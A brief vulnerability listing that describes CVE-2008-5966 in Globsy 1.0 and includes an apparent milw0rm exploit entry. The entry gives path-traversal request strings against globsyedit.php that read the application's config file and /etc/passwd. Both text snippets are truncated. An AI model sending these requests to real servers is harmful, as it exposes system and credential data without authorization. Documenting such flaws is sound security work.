CVE-2008-5966

CVE-2008-5966 affects Globsy 1.0 and earlier, where globsy_edit.php allows remote attackers to create or overwrite arbitrary files via the file parameter (filename) and data parameter (file contents). Root cause is improper handling of user-supplied filename and content, enabling arbitrary file w...

Globsy 1.0 - 'file' Remote File Disclosure

Globsy 1.0 file Remote File Disclosure Vulnerability http://switch.dl.sourceforge.net/sourceforge/globsy/globsy1.0.tar.gz /globsyedit.php?file=globsyconfig.php /globsyedit.php?file=../../../../../../../etc/passwd milw0rm.com 2008-02-20...